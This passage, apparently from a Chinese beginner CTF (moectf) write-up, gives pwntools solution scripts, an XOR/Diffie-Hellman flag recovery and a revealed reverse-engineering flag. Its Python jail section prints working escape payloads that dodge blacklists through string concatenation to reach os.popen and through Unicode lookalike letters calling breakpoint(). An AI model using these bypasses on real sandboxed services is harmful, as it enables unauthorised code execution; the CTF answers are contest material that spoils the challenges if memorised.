io.sendafter(b"Input your answer:", b"???\n") #发送secret code,请对IDA对程序进行逆向找到，具体操作方法见附件1

#注：我们这里使用了sendline,sendafter,而实际上还有像send，sendlineafter这样的写法
#为啥前面不用自己写换行而后面的要呢？可以自行了解这些区别，防止以后用混

io.interactive() #开启交互模式

通过IDA对pwn程序进行反编译，可以在字符串窗口看到上面两个值。

将这两个值填充进去即可。

from pwn import *
context(os="linux", arch="amd64", log_level="debug") #基础配置
# 本地测试时，用这条而把远程交互的注释掉即可
# io = process("./pwn")
# 远程交互,在自己提交时，找到自己的ip和根据wsrx连接后软件给的接口并填写
io = remote("127.0.0.1", 51432)

io.recvuntil(b"Hello,my friend.Please enter the password to begin") #接收指定字符串停止，从而我们进行下列操作

io.sendline(b"2147483647") #发送密码，密码内容提示：64位下int类型最大值
#
io.sendafter(b"Input your answer:", b"Welcometomoectf2026pwn\n") #发送secret code,请对IDA对程序进行逆向找到，具体操作方法见附件1

#注：我们这里使用了sendline,sendafter,而实际上还有像send，sendlineafter这样的写法
#为啥前面不用自己写换行而后面的要呢？可以自行了解这些区别，防止以后用混

io.interactive() #开启交互模式

运行就能拿到flag。

现代密码学

密码学入门指北

这题最主要的知识点是知道a^b=c a^c=b b^c=a，直接还原。

p = 170141183460469231731687303715884105727
g = 3
alice_public = 42348823944539164637318232035973172471
bob_public = 101533001028006636636416596392258549313
alice_private = 20260704
ciphertext = [45, 47, 37, 35, 52, 38, 59, 36, 40, 31, 48, 50, 41, 54, 33, 52, 37, 31, 43, 37, 57, 31, 51, 40, 47, 53, 44, 36, 31, 51, 52, 33, 57, 31, 51, 37, 35, 50, 37, 52, 61]

shared_secret = pow(bob_public, alice_private, p)
key = shared_secret % 256
flag = [x ^ key for x in ciphertext]
for i in flag:
    print(chr(i), end="")

运行一下拿到flag。

Python沙箱逃逸

ez_ban_ja1l

查看chall.py，做了黑名单过滤，os、exec、eval、import、system五个函数不允许使用，我们可以通过拼接的方式进行绕过。

def chall():
    blacklist = ['os','exec','eval','import','system']
    code = input('Give me your code: ')
    for b in blacklist:
        if b in code:
            print(f'Blacklist word: {b}')
            return
    exec(code)

if __name__ == '__main__':
    chall()

编写代码，连接远程环境。

from pwn import *

nc = remote("127.0.0.1", 61143)
nc.interactive()

payload：print(getattr(__builtins__, '__impor'+'t__')('o'+'s').popen('ls /').read())，可以正常回显。

经过测试，flag在/tmp目录下。

3z_ban_jail

查看给的源码，过滤了大小写字母和数字。

import re

def chall():
    code = input('Give me your code: ')

    if re.search(r'[a-zA-Z0-9]',code):
        print('Letters and numbers are not allowed')
        return
    exec(code)

这题可以用0-9，a-z的unicode字符进行代替。𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗 𝘢𝘣𝘤𝘥𝘦𝘧𝘨𝘩𝘪𝘫𝘬𝘭𝘮𝘯𝘰𝘱𝘲𝘳𝘴𝘵𝘶𝘷𝘸𝘹𝘺𝘻 𝘈𝘉𝘊𝘋𝘌𝘍𝘎𝘏𝘐𝘑𝘒𝘔𝘕𝘖𝘗𝘘𝘙𝘚𝘛𝘜𝘝𝘞𝘟𝘠𝘡

先通过breakpoint()断点调试函数来执行我们的命令，这里的所有的字母需要用unicode字符代替。𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()

后面要执行的命令就不会受到正则匹配，可以用正常英文字符，flag在/tmp目录下。

e2_ban_jail

这题是过滤了pyjail0123456789这几个字符，但是上题同样的做法可以直接绕过。

equals

这题需要满足的条件：输入的字符串中所有字符的ascii码值的求和要等于输入的字符串的长度的平方，输入的字符串才会被执行。

def chall():
    user_input = input('Give me your code:')
    s = sum(ord(c) for c in user_input)
    if s == len(user_input) ** 2:
        exec(user_input)
    else:
        print('Not Equal')

软件逆向工程

逆向工程入门指北

IDA64打开程序，在十六进制试图中看到flag，其中有一些干扰字符。

moectf{C0ngr4tuLati0N_On_find1n9_your_1st_RE_f1aggggg!!!}